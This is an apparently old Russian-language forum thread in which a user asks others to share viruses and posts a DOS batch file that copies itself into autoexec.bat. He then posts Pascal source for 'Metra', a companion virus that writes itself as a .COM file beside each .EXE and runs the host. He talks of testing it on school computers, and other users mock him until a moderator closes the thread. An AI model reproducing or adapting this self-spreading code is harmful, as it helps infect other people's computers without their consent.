CHAT.MD

ну что давайте делится кто чо написал или нашол какой нибуть хороший вирус

[off]добавлено спустя 7 минут:[/off]

ну я предложу первый точно не знаю работает он или нет надо ещё проверить
но мне кажется что лучше на своём компе этого не делать !!!
поэтому придётся подождать до школы а там я его и проверю на уроке информатике


cho off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat

но сразу предупреждаю я тут не дописал работать он не будет
а то я знаю тут есть некоторые дай им что нибуть прикольнинькое а он там всё сделает чёб проверить этот вирус ''лАМЕР"
по идеи этот вирус должен удалить все фаилы с винта !
останетсы только один фаил это сам вирус но есть одна проблема он не передаётся на другие компы но у меня есть идея если что как нибуть напишу его полностью !!!!!!!!!!!!!!!!!
но врядли пускать буду а то вы меня наверно бить будете

вопрос -
а антивирусные проги такие простенькие вирусы определяют ?

я же говорил что ещё не проверял
но проверить всё можно

[off]добавлено спустя 1 минуту:[/off]

если хочешь можешь у себя проверить !!!!!!
ну или найти другую жертву есть и другии!!!
более большие

[off] , надо бы тему в Юмор перенести.[/off]

ZorroGFS, беззвезды в юмор...

100% в Юмор... %)
Я давно так не плякаль и не рыдаль.
Добавляю себе в коллекцию ещё одного ламера.
Хы-хы-хыыхххыхххххххы..... %))))))
Ох, господи.

ЗЫ: Пошёл штудировать мануал по ДОС-коммандам. Изучать смысл комманды erase. И программировать хакерские батники...

ZorroGFS,
не смешно... серьезно. скорее надо создать раздел "это диагноз". топик для него...

[off]добавлено спустя 3 минуты:[/off]

Slash Hunter писал(а):по идеи этот вирус должен удалить все фаилы с винта !

мне интересен ход ваших мыслей, юноша. с каких это пор команда копирования удаляет файлы? или я отстал от жизни и чего-то не понимаю?

ну а что вы скажете нащёт этого может всё напрасно но то что тут говорят что я ламер я в этом очень сильно сомневаюсь хотя вы можете меня считать кем угодно я не прошу можете и ламером




{$M 2048,0,4096}
{$i-}
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; { размер вируса }
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
{ считать свое тело в буфер }
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
{ искать жертву }
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
{ проверить существует ли файл }
Assign(ft,namecom);
reset(ft);
if ioresult=0 then { если уже существует }
begin
close(ft);
goto infOk;
end;
{ создать COM-файл с вирусом }
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; {если ошибка, то пропустить}
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
{ запустим своего носителя }
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
{ если вызвали с таким параметром, то надо представитьcя }
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); { выйти и сохранить код ошибки }
End.




ну хоть может это верно подскажите хоть по правельному пути иду я

по идеи этот вирус должен удалить все фаилы с винта !

И Виндозу тоже ? А вирус на Паскале сам написал или стырил с какой-то помойки ?

ну мне просто нету смысла тырить где то а потом суда его тип мой нет я не такой ивеняйте

http://www.yandex.ru/yandsearch?rpt=rad ... m+Metra%22

Который из найденных вариантов писал ты ?

ZorroGFS, вот примерно с такого ресурса он этот хумор брал http://www.nvkz.kuzbass.net/gazzzeta/htm/167.htm

ну блин не верите не надо мне та что

[off]добавлено спустя 17 часов 47 минут:[/off]

фиг с вами !!!

Понятно, тему можно закрывать ...

Гы гы гы ...Валанчик ))))))

[mod="aproxis"]Закрыто )))
Лолы )))[/mod]